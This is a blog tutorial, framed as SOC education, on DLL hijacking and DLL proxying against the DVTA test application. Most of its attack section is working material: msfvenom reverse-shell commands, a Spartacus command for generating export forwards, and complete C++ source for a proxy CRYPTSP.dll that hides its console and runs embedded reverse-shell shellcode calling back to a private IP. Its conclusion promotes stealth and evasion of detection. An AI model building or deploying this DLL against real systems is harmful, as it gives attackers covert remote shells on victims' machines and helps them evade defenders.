DLL Proxying : An SOC Nightmare
DLL Hijacking, a cunning technique in the attacker’s arsenal, thrives on manipulating a program’s trust in external code. By strategically replacing legitimate DLLs (Dynamic Link Libraries) with malicious ones, attackers can gain unauthorized access, steal sensitive data, or wreak havoc on a system. To protect you organization as SOC you nee to understand how it works in the background.
Refer my previous article for better understanding DLL Hijacking. This time we gonna go more deeper and learn DLL Proxying Technique .
REMEMBER : The Deeper we crawl the Better we Blend.😂
DLL Proxying
While performing DLL Hijacking there are more chances that we gonna break something because we are modifying the DLL Functions imported by the legit program. This will cause the targeted program to malfunction . So we need a way to proxy the required functions via our DLL while performing DLL Hijacking. This is a very crucial step, because it might alarm the blue team for anomalies if not performed properly.
Note: Performing such tasks without proper knowledge and permissions is not recommended as we are deep inside the system, any wrong step might blow whistles for the SOC Team or at worst you might crash the system and leave a blue screen or land up behind bars !!!🙂
Bluescreen Nightmare
Enumerate DLL Hijacking
Enumeration often is being done with Procmon. In a nutshell, procmon is a legitimate MS tool for monitoring process activity.
After opening procmon, several filter must be applied:
- Filtering the binary by name
- Filtering the path to be ending with .dll
- Filtering the result to contain NOT FOUND
- Start Targeted Binary
“C:\Users\user\Desktop\dvta\DVTA\bin\x64\Release\CRYPTSP.dll” is the target dll
All of the results from the screenshot, show a potential DLL hijack vulnerability, if we have right access over any of the directories, we can overwrite the not found DLL with a custom malicious DLL.
Observe the full path carefully, it is in a directory, that my user have write access over. There are more not found DLLs, but most of them are inside “C:\Windows” which we do not have permissions by default.
The enumeration process revealed “CRYPTSP.dll” to be a great target!
Executing DLL Hijacking
For POC, we can use either custom made one (recommended), or a msfvenom one. For the sake of the demo, I created the following custom DLL, to spawn “calc.exe” process.
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
#include <windows.h>
void calc();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE t;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)calc, NULL, 0, NULL);
CloseHandle(t);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void calc()
{
system("calc.exe");
}
After renaming the DLL “CRYPTSP.dll” and placing it on the vulnerable directory, we can confirm DLL hijacking vulnerability, after executing the DVTA.exe binary:
DLL Proxying
During the demo I used the following msfvenom payload instead of calc.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f dll -o CRYPTSP.dll
After executing the DLL hijacked binary, we can observe that the shell callback is present, but the binary is not yet started. This is a huge indicator of compromise.
This is because of 2 problems:
- The thread is occupied by the reverse shell.
- The execution flow is unknown i.e., after executing the shell, the binary is still corrupted.
To solve this problem we must perform something called DLL proxying. It looks like this:
DLL proxying is a technique to restore the native DLL execution flow (function calls) so the binary is not corrupted. Luckily, there are tools which can export the functions and even generate a CPP template. One such tool is called Spartacus by Accenture. It will require procmon as dependencies.
To run spartacus, you can follow the syntax:
.\Spartacus-v1.2.0-x64.exe --procmon C:\Users\user\Desktop\Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose
It will automatically engage with procmon, setup filters and find DLL hijackable binaries. After finding such, it will try to export all the functions it needs from the mentioned DLL. After executing the command, make sure to execute the targeted binary, and then terminate spartacus by pressing enter.
The C++template for CRYPTSP.dll looks like this in my case :
#pragma once
#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")
#include <windows.h>
VOID Payload() {
// Run your payload here.
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Exploitation
Let’s create new CPP DLL project in visual studio
Now let’s tweak the malicious template from Spartacus. The last step is to generate a shellcode from msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c
And combine the pieces by compiling the custom DLL as x64/Release and attack :
#pragma once
#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")
#include <windows.h>
#include <iostream>
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x6e\x89"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
VOID Payload() {
ShowWindow(GetConsoleWindow(), SW_HIDE);
HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);
void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf));
std::memcpy(mem_map, buf, sizeof(buf));
std::cout << ((int(*)())mem_map)() << std::endl;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
After performing DLL Hijacking with the compiled DLL, the binary executes as normal, while we receive the shell call-back.
Conclusion
During Normal Pentest, DLL Hijacking can be enough just to prove that it is vulnerable. However, in more complex cases, you may need to operate more stealthy. Since the default DLL Hijacking via corrupting the binary, is a bad approach. To evade being detected, custom made DLLs and shellcodes are always recommended along with other bypass techniques. Remember these are components, intelligent and proper implementation is only possible when you know the right thing.
Cybervie Offers traing on different aspects of CyberSecurity as well as have experienced professionals for your business solutions. We also provide AI SOC Service to keep your business Safe and Secure from such attacks. For more information, contact info@cybervie.com or visit Cybervie website.
Credits: @erilycus